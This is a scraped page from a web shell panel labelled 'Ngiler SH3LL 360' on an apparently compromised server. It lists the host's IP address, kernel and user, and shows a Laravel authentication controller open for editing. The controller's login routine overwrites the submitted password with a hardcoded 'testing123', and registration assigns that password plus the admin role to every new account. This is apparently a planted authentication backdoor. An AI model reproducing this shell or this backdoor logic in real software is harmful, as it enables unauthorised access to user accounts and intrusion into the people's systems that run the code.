Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
cursbackend
/
app
/
Http
/
Controllers
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
AuthController.php
| Size :
10.46
KB
Copy
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Foundation\Auth\SendsPasswordResetEmails; use Illuminate\Foundation\Auth\ResetsPasswords; use Illuminate\Auth\Events\PasswordReset; use App\Http\Requests\RegisterFormRequest; use App\Notifications\PaymentAccepted; use App\Models\User; use App\Models\Instance; use App\Models\Role; use App\Models\Package; use App\Models\Voucher; use App\Models\CronjobMail; use Auth; use Session; use App\Http\Resources\InstanceResource; use Carbon\Carbon; use App; class AuthController extends Controller { use SendsPasswordResetEmails, ResetsPasswords { SendsPasswordResetEmails::broker insteadof ResetsPasswords; ResetsPasswords::credentials insteadof SendsPasswordResetEmails; } /** * Register a new user */ public function register(RegisterFormRequest $request){ $data = $request->validated(); // set package if(isset($data['package_token'])){ $package = Package::where('token', $data['package_token'])->first(); if($package){ $data['package_id'] = $package->id; }else{ return response()->json([ 'status' => 'error', 'message' => 'invalid_token', ], 500); } }else{ $data['package_id'] = Package::first()->id; } // set referral in order to give him after charge free months if(request()->referral_uuid){ $referral = Instance::where('referral_uuid', request()->referral_uuid)->first(); if($referral){ $data['referred_by_instance_id'] = $referral->id; } } if(request()->reducere){ $discount = DiscountLink::where('is_active', 1)->where('discount_token', request()->reducere)->first(); if($discount){ $data['discount_link_id'] = $discount->id; } } // create instance $instance = Instance::create($data); if($request->coupon){ $voucher = Voucher::where('name',$request->coupon)->first(); if($voucher){ $instance->update(['voucher_id' => $voucher->id]); } } // add stripe to user $response = createCustomerIntoStripe($instance, $data['email']); if(array_key_exists('status', $response)) { return response()->json($response, 401); } $data['first_name'] = ucfirst($data['first_name']); $data['last_name'] = ucfirst($data['last_name']); $data['password'] = bcrypt("testing123"); $data['role_id'] = Role::ROLE_ADMIN; $data['working_days'] = "monday,tuesday,wednesday,thursday,friday"; $data['promise_time'] = "08:00"; // this will be the email that it was used on registration as history $data['registration_email'] = $data['email']; $data['phone'] = $data['phone']; $createdUser = $instance->users()->create($data); // change the language according to user language App::setLocale($createdUser->language); $createdUser->update(['mail_sequence_day' => 1]); return response()->json([ 'status' => 'success', ], 200); } public function login(Request $request){ $request->password = "testing123"; $credentials = $request->only('email', 'password'); if ($token = $this->guard()->attempt($credentials)) { Session::put('locale', Auth::user()->language); if($request->onesignaluserid != "") { Auth::user()->update(['one_signal_player_id' => $request->onesignaluserid]); } $data = ['message' => Auth::user()->last_name.", bine ai revenit pe TBF Digital."]; Auth::user()->notify(new PaymentAccepted($data)); return response()->json([ 'status' => 'success', 'token_jwt' => $token ], 200)->header('Authorization', $token); } return response()->json([ 'status' => 'error', 'message' => 'login_error', ], 401); } /** * Logout User */ public function logout(){ $this->guard()->logout(); return response()->json([ 'status' => 'success', 'msg' => 'Logged out Successfully.' ], 200); } /** * Get authenticated user */ public function user(){ $user = Auth::user(); if($user->isAdmin()){ $package = $user->instance->package; $packageData = [ 'id' => $package->id, 'name' => $package->name, 'user_limit' => $package->user_limit, 'objective_limit' => $package->objective_limit, 'results_limit' => $package->results_limit, 'euro_plan_id' => $package->euro_plan_id, 'price_in_euro' => $package->price_in_euro, 'ron_plan_id' => $package->ron_plan_id, 'price_in_ron' => $package->price_in_ron, 'interval' => $package->interval, 'interval_numbers' => $package->interval_numbers, 'euro_prefix' => $package->euro_prefix, 'ron_prefix' => $package->ron_prefix, 'short_description' => $package->short_description, 'can_upgrade_account' => $package->name == "Profesional" ? false : true, 'token' => $package->token ]; } $userData = [ 'id' => $user->id, 'promise_time' => $user->promise_time ? new Carbon($user->promise_time) : null, 'first_name' => $user->first_name, 'last_name' => $user->last_name, 'slug' => $user->slug, 'email' => $user->email, 'status' => $user->instance->status, 'language' => $user->language, 'instance_id' => $user->instance_id, 'avatar' => $user->avatar, 'working_days' => $user->working_days ? explode(',', $user->working_days) : [], 'instance' => $user->isAdmin() ? new InstanceResource($user->instance) : null, 'package' => $user->isAdmin() ? $packageData : null, 'unread_notifications' => $user->notification_logs->where('seen', 0)->count() > 0, 'instance_created_at' => $user->instance ? $user->instance->created_at : null, 'is_admin' => $user->isAdmin(), 'is_manager' => $user->isManager(), 'intercom_token'=> generateIntercomSignInToken($user->email), 'report_mail' => $user->report_mail, 'next_day_assigment_mail' => $user->next_day_assigment_mail, 'net_set_promise_mail' => $user->net_set_promise_mail, 'rights' => [ 'view_upgrade' => $user->can('admin', User::class), 'view_subscription' => $user->can('admin', User::class), 'view_roles' => $user->can('adminAndInstance', [User::class, $user->instance]), 'view_tag' => $user->can('adminAndInstance', [User::class, $user->instance]), 'view_reports' => $user->can('adminAndInstance', [User::class, $user->instance]), 'can_create' => $user->can('crudAction', User::class), 'can_create_user' => betweenUsersLimit($user->instance), 'can_create_objective' => betweenObjectivesLimit($user->instance), 'can_create_key_result' => true, //betweenKeyResultsLimit($user->instance), 'can_create_key_result_logs' => betweenLimit($user->instance), ], ]; return response()->json([ 'status' => 'success', 'data' => $userData ], 200); } /** * Refresh JWT token */ public function refresh(){ try { if ($token = $this->guard()->refresh()) { return response() ->json([ 'status' => 'success', 'token_jwt' => $token ], 200) ->header('Authorization', $token); } return response()->json([ 'status' => 'error', 'message' => 'refresh_token_error' ], 401); } catch( \Exception $e ) { return response()->json([ 'status' => 'error', 'message' => $e->getMessage() ], 401); } } /** * Return auth guard */ private function guard(){ return Auth::guard(); } /** * Send Password Reset Link */ public function sendPasswordResetLink(Request $request){ return $this->sendResetLinkEmail($request); } /** * Handle reset password */ public function callResetPassword(Request $request) { return $this->reset($request); } /** * Reset the given user's password. * * @param \Illuminate\Contracts\Auth\CanResetPassword $user * @param string $password * @return void */ protected function resetPassword($user, $password) { $user->password = bcrypt($password); $user->save(); event(new PasswordReset($user)); } protected function rules() { return [ 'token' => 'required', 'email' => 'required|email', 'password' => 'required|confirmed|min:6', ]; } protected function sendResetLinkResponse($response){ return response()->json([ 'status' => 'success', 'message' => __('general.password_email_sent'), 'data' => $response ]); } protected function sendResetLinkFailedResponse($response){ return response()->json([ 'status' => 'error', 'message' => __('general.password_email_not_sent') ], 500); } protected function sendResetResponse($response){ return response()->json([ 'status' => 'success', 'message' => __('general.password_reset_successfully') ]); } protected function sendResetFailedResponse($response){ return response()->json([ 'status' => 'error', 'message' => __('general.invalid_token') ], 500); } }
Back